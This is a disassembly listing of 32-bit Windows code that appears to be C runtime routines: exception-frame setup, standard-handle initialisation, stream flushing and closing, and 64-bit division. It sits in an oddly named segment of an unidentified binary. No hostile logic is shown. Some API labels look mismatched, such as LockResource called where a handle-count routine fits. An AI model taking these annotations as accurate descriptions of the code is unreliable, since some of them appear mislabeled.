loc_41287C:				; CODE XREF: sub_412776+F2j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412893
		mov	eax, edi
		call	__SEH_epilog4
		retn
sub_412776	endp

; ---------------------------------------------------------------------------
		mov	edi, [ebp-1Ch]

; =============== S U B	R O U T	I N E =======================================



sub_412893	proc near		; CODE XREF: sub_412776+10Dp
		push	1
		call	sub_40FDFF
		pop	ecx
		retn
sub_412893	endp


; =============== S U B	R O U T	I N E =======================================



sub_41289C	proc near		; CODE XREF: sub_40D6D3+8Ap
					; sub_41289C+BDp ...

var_20		= dword	ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		push	ebp
		push	edx
		push	eax
		push	ecx
		push	ecx
		push	offset loc_41292C
		push	large dword ptr	fs:0
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+28h+var_20], eax
		mov	large fs:0, esp

loc_4128CE:				; CODE XREF: sub_41289C+64j
					; sub_41289C+80j
		mov	eax, [esp+28h+arg_4]
		mov	ebx, [eax+8]
		mov	ecx, [esp+28h+arg_0]
		xor	ebx, [ecx]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFEh
		jz	short loc_41291E
		mov	edx, [esp+28h+arg_8]
		cmp	edx, 0FFFFFFFEh
		jz	short loc_4128F0
		cmp	esi, edx
		jbe	short loc_41291E

loc_4128F0:				; CODE XREF: sub_41289C+4Ej
		lea	esi, [esi+esi*2]
		lea	ebx, [ebx+esi*4+10h]
		mov	ecx, [ebx]
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_4128CE
		push	101h
		mov	eax, [ebx+8]
		call	sub_418D89
		mov	ecx, 1
		mov	eax, [ebx+8]
		call	sub_418DA8
		jmp	short loc_4128CE
; ---------------------------------------------------------------------------

loc_41291E:				; CODE XREF: sub_41289C+45j
					; sub_41289C+52j
		pop	large dword ptr	fs:0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41292C:				; DATA XREF: sub_41289C+14o
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_412971
		mov	eax, [esp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, eax
		call	sub_40AFEE
		push	ebp
		mov	ebp, [eax+18h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+14h]
		call	sub_41289C
		add	esp, 0Ch
		pop	ebp
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_412971:				; CODE XREF: sub_41289C+A0j
		retn
sub_41289C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		push	dword ptr [ecx+1Ch]
		push	dword ptr [ecx+18h]
		push	dword ptr [ecx+28h]
		call	sub_41289C
		add	esp, 0Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41298E	proc near		; CODE XREF: sub_410B20+89p
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	ebp, edx
		xor	eax, eax
		xor	ebx, ebx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	ecx
		pop	ebx
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41298E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410B20

loc_4129A5:				; CODE XREF: sub_410B20+170j
		mov	ebp, edx
		mov	esi, ecx
		mov	eax, ecx
		push	1
		call	sub_418D89
		xor	eax, eax
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	edi, edi
		jmp	esi
; END OF FUNCTION CHUNK	FOR sub_410B20

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129BE	proc near		; CODE XREF: sub_410B20+11Fp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	offset loc_4129D3
		push	ecx
		call	sub_41D9E6

loc_4129D3:				; DATA XREF: sub_4129BE+Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4129BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129D8	proc near		; CODE XREF: sub_410B20+137p
					; sub_410B20+18Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	edx
		push	ecx
		push	[esp+0Ch+arg_4]
		call	sub_41289C
		add	esp, 0Ch
		pop	ebp
		retn	8
sub_4129D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129EF	proc near		; CODE XREF: sub_40D7AA+10Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_412CF4
		push	eax
		call	sub_417800
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_412A81
		call	sub_412359
		add	eax, 20h
		cmp	esi, eax
		jnz	short loc_412A16
		xor	eax, eax
		jmp	short loc_412A25
; ---------------------------------------------------------------------------

loc_412A16:				; CODE XREF: sub_4129EF+21j
		call	sub_412359
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_412A81
		xor	eax, eax
		inc	eax

loc_412A25:				; CODE XREF: sub_4129EF+25j
		inc	dword_426028
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_412A81
		push	ebx
		push	edi
		lea	edi, ds:42602Ch[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_412A66
		push	ebx
		call	sub_411E8A
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_412A66
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_412A73
; ---------------------------------------------------------------------------

loc_412A66:				; CODE XREF: sub_4129EF+55j
					; sub_4129EF+62j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx

loc_412A73:				; CODE XREF: sub_4129EF+75j
		or	dword ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412A81:				; CODE XREF: sub_4129EF+15j
					; sub_4129EF+31j ...
		xor	eax, eax
		pop	esi
		retn
sub_4129EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A85	proc near		; CODE XREF: sub_40D7AA+128p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_412AB3
		push	esi
		mov	esi, [esp+4+arg_4]
		test	word ptr [esi+0Ch], 1000h
		jz	short loc_412AB2
		push	esi
		call	sub_412EAE
		and	dword ptr [esi+0Ch], 0FFFFEEFFh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx

loc_412AB2:				; CODE XREF: sub_412A85+12j
		pop	esi

locret_412AB3:				; CODE XREF: sub_412A85+5j
		retn
sub_412A85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AB4	proc near		; CODE XREF: .text:0040E5AEp

var_64		= byte ptr -64h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	54h
		push	offset dword_421C30
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:off_41E1A4
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		push	28h
		push	20h
		pop	esi
		push	esi
		call	sub_411ECA
		pop	ecx
		pop	ecx
		cmp	eax, edi
		jz	loc_412CEB
		mov	dword_433CE0, eax
		mov	dword_433CD8, esi
		lea	ecx, [eax+500h]
		jmp	short loc_412B27
; ---------------------------------------------------------------------------

loc_412AFE:				; CODE XREF: sub_412AB4+75j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	[eax+8], edi
		mov	byte ptr [eax+24h], 0
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	ecx, dword_433CE0
		add	ecx, 500h

loc_412B27:				; CODE XREF: sub_412AB4+48j
		cmp	eax, ecx
		jb	short loc_412AFE
		cmp	[ebp+var_32], di
		jz	loc_412C32
		mov	eax, [ebp+var_30]
		cmp	eax, edi
		jz	loc_412C32
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_1C], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_412B56
		mov	edi, eax

loc_412B56:				; CODE XREF: sub_412AB4+9Ej
		xor	esi, esi
		inc	esi
		jmp	short loc_412BAD
; ---------------------------------------------------------------------------

loc_412B5B:				; CODE XREF: sub_412AB4+FFj
		push	28h
		push	20h
		call	sub_411ECA
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_412BB7
		lea	ecx, ds:433CE0h[esi*4]
		mov	[ecx], eax
		add	dword_433CD8, 20h
		lea	edx, [eax+500h]
		jmp	short loc_412BA8
; ---------------------------------------------------------------------------

loc_412B82:				; CODE XREF: sub_412AB4+F6j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		and	byte ptr [eax+24h], 80h
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	edx, [ecx]
		add	edx, 500h

loc_412BA8:				; CODE XREF: sub_412AB4+CCj
		cmp	eax, edx
		jb	short loc_412B82
		inc	esi

loc_412BAD:				; CODE XREF: sub_412AB4+A5j
		cmp	dword_433CD8, edi
		jl	short loc_412B5B
		jmp	short loc_412BBD
; ---------------------------------------------------------------------------

loc_412BB7:				; CODE XREF: sub_412AB4+B4j
		mov	edi, dword_433CD8

loc_412BBD:				; CODE XREF: sub_412AB4+101j
		and	[ebp+var_20], 0
		test	edi, edi
		jle	short loc_412C32

loc_412BC5:				; CODE XREF: sub_412AB4+17Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_412C25
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_412C25
		mov	al, [ebx]
		test	al, 1
		jz	short loc_412C25
		test	al, 8
		jnz	short loc_412BE9
		push	ecx
		call	ds:dword_41E148	; GetFileType
		test	eax, eax
		jz	short loc_412C25

loc_412BE9:				; CODE XREF: sub_412AB4+128j
		mov	esi, [ebp+var_20]
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_433CE0[eax*4]
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebx]
		mov	[esi+4], al
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416DD4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_412CEB
		inc	dword ptr [esi+8]

loc_412C25:				; CODE XREF: sub_412AB4+119j
					; sub_412AB4+11Ej ...
		inc	[ebp+var_20]
		inc	ebx
		add	[ebp+var_1C], 4
		cmp	[ebp+var_20], edi
		jl	short loc_412BC5

loc_412C32:				; CODE XREF: sub_412AB4+7Bj
					; sub_412AB4+86j ...
		xor	ebx, ebx

loc_412C34:				; CODE XREF: sub_412AB4+213j
		mov	esi, ebx
		imul	esi, 28h
		add	esi, dword_433CE0
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412C51
		cmp	eax, 0FFFFFFFEh
		jz	short loc_412C51
		or	byte ptr [esi+4], 80h
		jmp	short loc_412CC3
; ---------------------------------------------------------------------------

loc_412C51:				; CODE XREF: sub_412AB4+190j
					; sub_412AB4+195j
		mov	byte ptr [esi+4], 81h
		test	ebx, ebx
		jnz	short loc_412C5E
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_412C68
; ---------------------------------------------------------------------------

loc_412C5E:				; CODE XREF: sub_412AB4+1A3j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_412C68:				; CODE XREF: sub_412AB4+1A8j
		push	eax
		call	ds:dword_41E14C	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_412CB9
		test	edi, edi
		jz	short loc_412CB9
		push	edi
		call	ds:dword_41E148	; GetFileType
		test	eax, eax
		jz	short loc_412CB9
		mov	[esi], edi
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_412C97
		or	byte ptr [esi+4], 40h
		jmp	short loc_412CA0
; ---------------------------------------------------------------------------

loc_412C97:				; CODE XREF: sub_412AB4+1DBj
		cmp	eax, 3
		jnz	short loc_412CA0
		or	byte ptr [esi+4], 8

loc_412CA0:				; CODE XREF: sub_412AB4+1E1j
					; sub_412AB4+1E6j
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416DD4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_412CEB
		inc	dword ptr [esi+8]
		jmp	short loc_412CC3
; ---------------------------------------------------------------------------

loc_412CB9:				; CODE XREF: sub_412AB4+1C0j
					; sub_412AB4+1C4j ...
		or	byte ptr [esi+4], 40h
		mov	dword ptr [esi], 0FFFFFFFEh

loc_412CC3:				; CODE XREF: sub_412AB4+19Bj
					; sub_412AB4+203j
		inc	ebx
		cmp	ebx, 3
		jl	loc_412C34
		push	dword_433CD8
		call	ds:dword_41E150	; LockResource
		xor	eax, eax
		jmp	short loc_412CEE
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_412CEB:				; CODE XREF: sub_412AB4+31j
					; sub_412AB4+168j ...
		or	eax, 0FFFFFFFFh

loc_412CEE:				; CODE XREF: sub_412AB4+227j
		call	__SEH_epilog4
		retn
sub_412AB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_412CF4	proc near		; CODE XREF: sub_40D7AA+63p
					; sub_40D7AA+6Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_412D1C
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412D1C:				; CODE XREF: sub_412CF4+9j
		mov	eax, [eax+10h]
		pop	esi
		retn
sub_412CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D21	proc near		; CODE XREF: sub_412DB5+94p
					; sub_41819F+340p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_418EA9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412D80
		cmp	esi, 1
		mov	eax, dword_433CE0
		jnz	short loc_412D43
		test	byte ptr [eax+54h], 1
		jnz	short loc_412D4E

loc_412D43:				; CODE XREF: sub_412D21+1Aj
		cmp	esi, 2
		jnz	short loc_412D64
		test	byte ptr [eax+2Ch], 1
		jz	short loc_412D64

loc_412D4E:				; CODE XREF: sub_412D21+20j
		push	2
		call	sub_418EA9
		push	1
		mov	edi, eax
		call	sub_418EA9
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_412D80

loc_412D64:				; CODE XREF: sub_412D21+25j
					; sub_412D21+2Bj
		push	esi
		call	sub_418EA9
		pop	ecx
		push	eax
		call	ds:dword_41E0E0	; CloseHandle
		test	eax, eax
		jnz	short loc_412D80
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_412D82
; ---------------------------------------------------------------------------

loc_412D80:				; CODE XREF: sub_412D21+10j
					; sub_412D21+41j ...
		xor	edi, edi

loc_412D82:				; CODE XREF: sub_412D21+5Dj
		push	esi
		call	sub_418E28
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		test	edi, edi
		mov	eax, dword_433CE0[eax*4]
		pop	ecx
		mov	byte ptr [eax+esi+4], 0
		jz	short loc_412DB0
		push	edi
		call	sub_40FCDA
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_412DB2
; ---------------------------------------------------------------------------

loc_412DB0:				; CODE XREF: sub_412D21+81j
		xor	eax, eax

loc_412DB2:				; CODE XREF: sub_412D21+8Dj
		pop	edi
		pop	esi
		retn
sub_412D21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412DB5	proc near		; CODE XREF: sub_40D9F4+48p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_421C50
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_412DE4
		call	sub_40FCC7
		and	dword ptr [eax], 0
		call	sub_40FCB4
		mov	dword ptr [eax], 9

loc_412DDC:				; CODE XREF: sub_412DB5+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_412E72
; ---------------------------------------------------------------------------

loc_412DE4:				; CODE XREF: sub_412DB5+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_412DF2
		cmp	eax, dword_433CD8
		jb	short loc_412E13

loc_412DF2:				; CODE XREF: sub_412DB5+33j
					; sub_412DB5+7Cj
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_412DDC
; ---------------------------------------------------------------------------

loc_412E13:				; CODE XREF: sub_412DB5+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433CE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_412DF2
		push	eax
		call	sub_418F1A
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_412E54
		push	[ebp+arg_0]
		call	sub_412D21
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_412E63
; ---------------------------------------------------------------------------

loc_412E54:				; CODE XREF: sub_412DB5+8Fj
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_412E63:				; CODE XREF: sub_412DB5+9Dj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412E78
		mov	eax, [ebp+var_1C]

loc_412E72:				; CODE XREF: sub_412DB5+2Aj
		call	__SEH_epilog4
		retn
sub_412DB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E78	proc near		; CODE XREF: sub_412DB5+B5p
					; DATA XREF: ev73vtp2:00421C68o
		push	dword ptr [ebp+8]
		call	sub_418FBA
		pop	ecx
		retn
sub_412E78	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E82	proc near		; CODE XREF: sub_40D9F4+3Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_412EAC
		test	al, 8
		jz	short loc_412EAC
		push	dword ptr [esi+8]
		call	sub_40DBA6
		and	dword ptr [esi+0Ch], 0FFFFFBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_412EAC:				; CODE XREF: sub_412E82+Aj
					; sub_412E82+Ej
		pop	esi
		retn
sub_412E82	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EAE	proc near		; CODE XREF: sub_40D9F4+34p
					; sub_412A85+15p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_412F02
		test	ax, 108h
		jz	short loc_412F02
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_412F01
		push	edi
		push	eax
		push	esi
		call	sub_412CF4
		pop	ecx
		push	eax
		call	sub_4176E0
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_412EFA
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_412F01
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_412F01
; ---------------------------------------------------------------------------

loc_412EFA:				; CODE XREF: sub_412EAE+3Bj
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_412F01:				; CODE XREF: sub_412EAE+25j
					; sub_412EAE+42j ...
		pop	edi

loc_412F02:				; CODE XREF: sub_412EAE+13j
					; sub_412EAE+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_412EAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F10	proc near		; CODE XREF: sub_412F52+69p
					; sub_412F52+84p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_412F22
		push	esi
		call	sub_412F52
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F22:				; CODE XREF: sub_412F10+7j
		push	esi
		call	sub_412EAE
		test	eax, eax
		pop	ecx
		jz	short loc_412F32
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F32:				; CODE XREF: sub_412F10+1Bj
		test	word ptr [esi+0Ch], 4000h
		jz	short loc_412F4E
		push	esi
		call	sub_412CF4
		push	eax
		call	sub_41917B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412F4E:				; CODE XREF: sub_412F10+28j
		xor	eax, eax
		pop	esi
		retn
sub_412F10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F52	proc near		; CODE XREF: sub_412F10+Ap
					; sub_41302C+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00413005 SIZE 0000001E BYTES

		push	14h
		push	offset dword_421C70
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_24], edi
		push	1
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi

loc_412F73:				; CODE XREF: sub_412F52+9Bj
		mov	[ebp+var_20], esi
		cmp	esi, dword_434E00
		jge	loc_413005
		mov	eax, dword_433DE0
		lea	eax, [eax+esi*4]
		cmp	[eax], edi
		jz	short loc_412FEC
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_412FEC
		push	eax
		push	esi
		call	sub_41245F
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_433DE0
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_412FE4
		cmp	[ebp+arg_0], edx
		jnz	short loc_412FCB
		push	eax
		call	sub_412F10
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412FE4
		inc	[ebp+var_1C]
		jmp	short loc_412FE4
; ---------------------------------------------------------------------------

loc_412FCB:				; CODE XREF: sub_412F52+66j
		cmp	[ebp+arg_0], edi
		jnz	short loc_412FE4
		test	cl, 2
		jz	short loc_412FE4
		push	eax
		call	sub_412F10
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412FE4
		or	[ebp+var_24], eax

loc_412FE4:				; CODE XREF: sub_412F52+61j
					; sub_412F52+72j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_412FF4

loc_412FEC:				; CODE XREF: sub_412F52+3Aj
					; sub_412F52+42j
		inc	esi
		jmp	short loc_412F73
sub_412F52	endp


; =============== S U B	R O U T	I N E =======================================



sub_412FEF	proc near		; DATA XREF: ev73vtp2:00421C94o
		xor	edi, edi
		mov	esi, [ebp-20h]
sub_412FEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412FF4	proc near		; CODE XREF: sub_412F52+95p
		mov	eax, dword_433DE0
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_4124B1
		pop	ecx
		pop	ecx
		retn
sub_412FF4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412F52

loc_413005:				; CODE XREF: sub_412F52+2Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_413023
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_41301D
		mov	eax, [ebp+var_24]

loc_41301D:				; CODE XREF: sub_412F52+C6j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_412F52

; =============== S U B	R O U T	I N E =======================================



sub_413023	proc near		; CODE XREF: sub_412F52+BAp
					; DATA XREF: ev73vtp2:00421C88o
		push	1
		call	sub_40FDFF
		pop	ecx
		retn
sub_413023	endp


; =============== S U B	R O U T	I N E =======================================



sub_41302C	proc near		; CODE XREF: sub_412410p
		push	1
		call	sub_412F52
		pop	ecx
		retn
sub_41302C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413040	proc near		; CODE XREF: sub_40DAE3+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_413062
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4130A3
; ---------------------------------------------------------------------------

loc_413062:				; CODE XREF: sub_413040+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_413070:				; CODE XREF: sub_413040+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_413070
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41309E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41309E
		jb	short loc_41309F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41309F

loc_41309E:				; CODE XREF: sub_413040+4Ej
					; sub_413040+54j
		dec	esi

loc_41309F:				; CODE XREF: sub_413040+56j
					; sub_413040+5Cj
		xor	edx, edx
		mov	eax, esi

loc_4130A3:				; CODE XREF: sub_413040+20j
		pop	esi
		pop	ebx
		retn	10h
sub_413040	endp


; =============== S U B	R O U T	I N E =======================================



sub_4130A8	proc near		; CODE XREF: sub_413137+3CDp
					; sub_413137+447p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esi]
		cmp	[esp+arg_0], eax
		jnz	short loc_4130F8
		mov	ecx, [edi]
		cmp	ecx, [esp+arg_4]
		push	2
		push	eax
		jnz	short loc_4130E7
		call	sub_411ECA
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4130CB

loc_4130C8:				; CODE XREF: sub_4130A8+4Aj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4130CB:				; CODE XREF: sub_4130A8+1Ej
		mov	eax, [esp+arg_8]
		mov	dword ptr [eax], 1
		push	dword ptr [esi]
		push	[esp+4+arg_4]
		push	dword ptr [edi]
		call	sub_40CC20
		add	esp, 0Ch
		jmp	short loc_4130F6
; ---------------------------------------------------------------------------

loc_4130E7:				; CODE XREF: sub_4130A8+11j
		push	ecx
		call	sub_411F5D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4130C8
		mov	[edi], eax

loc_4130F6:				; CODE XREF: sub_4130A8+3Dj
		shl	dword ptr [esi], 1

loc_4130F8:				; CODE XREF: sub_4130A8+6j
		xor	eax, eax
		inc	eax
		retn
sub_4130A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4130FC	proc near		; CODE XREF: sub_413112+7p
					; sub_413137+2E1p ...
		dec	dword ptr [edx+4]
		js	short loc_41310A
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41310A:				; CODE XREF: sub_4130FC+3j
		push	edx
		call	sub_413F5D
		pop	ecx
		retn
